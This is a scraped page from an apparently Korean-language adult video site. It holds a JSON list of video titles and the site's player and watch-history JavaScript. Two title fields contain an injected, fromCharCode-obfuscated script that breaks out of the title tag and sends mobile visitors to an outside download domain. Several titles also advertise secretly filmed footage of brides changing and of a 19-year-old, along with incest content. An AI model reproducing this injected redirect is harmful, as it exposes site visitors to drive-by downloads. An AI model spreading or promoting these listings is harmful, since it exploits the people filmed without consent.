추천 영상
01:16:14
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>2023.9 최신 유출: 유명 웨딩드레스 매장, 비밀리에CCTV 설치; 신부 웨딩드레스가 직원 특전으로 제공; 임산부를 포함한 세 명의 신부가 동시에 웨딩드레스를 갈아입는 모습 포착</title></script></script>
02:12:21
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>남자들로 가득 찬 기숙사를 운영하는 다소 정신없는 일상 - 마이 츠바사 팔레노
2023.9 최신 유출: 유명 웨딩드레스 매장, 비밀리에CCTV 설치; 신부 웨딩드레스가 직원 특전으로 제공; 임산부를 포함한 세 명의 신부가 동시에 웨딩드레스를 갈아입는 모습 포착","lastmod":"2026-07-11","duration":"01:16:14","url":"/play/19163122.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTZmNzQwZjQyMmY4OTIzNWYwYzQ0YTcyYjNlMzhhZjUuanBn.cache","vod_id":18974304,"title":"[중국어 자막] SAME-054 이 선생님이랑 1000엔이면 섹스할 수 있어요 (웃음) 아마카와 소라","lastmod":"2025-03-23","duration":"01:59:55","url":"/play/18974304.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzY2Y2Q5YWQ4Y2FjNjE1NGFiZmM3ZDZhMjlmY2U2NDguanBn.cache","vod_id":18980934,"title":"CHCH-031 20년 동안 성관계를 갖지 못했던 글래머러스한 몸매의 아마추어 주부 미사토(43세, K컵)가 마침내 오랜 쾌락을 만끽합니다.","lastmod":"2025-12-14","duration":"02:08:08","url":"/play/18980934.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MDEvMzVhNTc2ZTJkODE2YTlmYThlZTY4NWUwYzM5YjY3N2QuanBn.cache","vod_id":19027427,"title":"유니클로 탈의실에서 셀카를 찍고 사랑을 나누는 것.","lastmod":"2025-04-01","duration":"00:00:58","url":"/play/19027427.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzQ5NTdmYzk1YjE3Y2I1MGQwOWEzMjRmMmEwY2QzNDAuanBn.cache","vod_id":18988914,"title":"413INST-010 [비밀 촬영] [얼굴 공개] 유명 기획사 소속 19세 아이돌 [비밀 촬영] 데뷔 4년 차 유명 기획사 소속 19세 아이돌과의 성관계, 얼굴 공개, 사정 장면 포함 [역할극] (0002).","lastmod":"2025-12-14","duration":"50:20","url":"/play/18988914.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTQ0Mzk2ODgxNDY0NzE5NTNiNjI0NzA0NDAwZWEyMDIuanBn.cache","vod_id":18989197,"title":"[극단적인 부녀 근친상간] 사건의 주모자가 19세 딸과 쓰리섬을 포함한 짜릿한 성관계를 갖습니다. 사진이 포함되어 있습니다.","lastmod":"2025-03-23","duration":"46:48","url":"/play/18989197.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYmI1Mjc4YzJlYWM2NjA3MGQ1NWIxNzhjMWMwYjAyNmYuanBn.cache","vod_id":18935682,"title":"중국식 지배 시리즈 30편: 샤오시 공주와 그녀의 남편이 이성애자 남성과 성관계를 갖는 동안 그를 지배하고, 개 노예가 그들의 성기를 핥는다.","lastmod":"2025-12-14","duration":"01:35:06","url":"/play/18935682.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODAxODFhMDQxMjY4ZDc0NDg1MzU2ZTJhN2VkZTI0OWQuanBn.cache","vod_id":18983554,"title":"[중국어 자막] MUDR-232 내가 함께 사는 삼촌 ~ [경고: 역겨움] 그는 현대 소녀들의 비밀을 알고 있으며, 그들에게 임신으로 이어지는 본격적인 성 경험을 선사한다 ~ 미나세 아카리","lastmod":"2025-03-23","duration":"01:59:57","url":"/play/18983554.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMDM2YTk3MmNkZjI2ODZmODE0MGI3NWY3YTkxZjE1NGMuanBn.cache","vod_id":19156086,"title":"파코아 파티와는 전혀 상관없는 사진 촬영 이벤트입니다. 깔끔한 언더그라운드 아이돌과 은밀한 만남을 통해 소통할 수 있는 기회죠. 여러분의 성원이 된다면, 저, 키타오카 카린은 선한 일을 하는 겁니다.","lastmod":"2026-05-02","duration":"02:33:45","url":"/play/19156086.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTgxODRjMjc4ZWVkNmY4Zjc3MGRjMWRjMDBiYTk0ZDAuanBn.cache","vod_id":18938171,"title":"남자친구는 게임을 하고 있었고, 여자친구는 장난기가 발동해서 섹스를 하고 싶어했어요. 그녀는 테이블 밑에 무릎을 꿇고 그를 깊숙이 핥은 다음 뒤에서 삽입했어요. 그들은 오럴 섹스를 했고, 그녀는 컴퓨터 책상 밑에서 그의 얼굴에 사정했어요. (고화질 720P 원본 버전)","lastmod":"2025-12-14","duration":"00:07:47","url":"/play/18938171.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMjEvYTMzNWI3OGQ5MDUwYTJkMTk4OWI2NDdjNmQwZjljOWQuanBn.cache","vod_id":19058942,"title":"사상 최초! 딜도 오르가즘! 완전히 벌거벗은, 욕정에 가득 차 떨리는 24명의 아마추어 카우걸 피스톤 운동 소녀들. 무명 배우들. PYM499","lastmod":"2025-10-20","duration":"05:00:17","url":"/play/19058942.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNTBlYmZiYmZkOTQyMzZmNTc3ZTlhNTYyMjBmYmIxMzIuanBn.cache","vod_id":19161624,"title":"
남자들로 가득 찬 기숙사를 운영하는 다소 정신없는 일상 - 마이 츠바사 팔레노","lastmod":"2026-07-11","duration":"02:12:21","url":"/play/19161624.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzU1NWVmNWY0MDc2ODdmMDhlMzlkZThlNTI1ZTQ0YmQuanBn.cache","vod_id":18954013,"title":"최신 ✅오타쿠✅웰빙\" 하얀 피부, 동그란 몸매, 최고급 풍만한 가슴, 개미허리, 글래머러스한 엉덩이를 가진 인터넷 스타, 작은 강철 대포 [원함] 고가 유료 개인 촬영~ 누드 댄스 자웨이~ 독특하고 유혹적인 댄스_02","lastmod":"2025-12-14","duration":"00:01:23","url":"/play/18954013.html"}]},
videoTitle: 'STARS144에 출연했던 니시노 쇼의 사생활이 처음으로 몰래 촬영되어, 이직 행사에서 공언했던 금욕 생활이 깨졌다. 그녀는 하루 종일 중년의 오타쿠와 여러 차례 성관계를 갖는 모습이 포착되었고, 그 모든 과정이 공개되었다.',
language: 'ko',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('링크 복사 완료!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}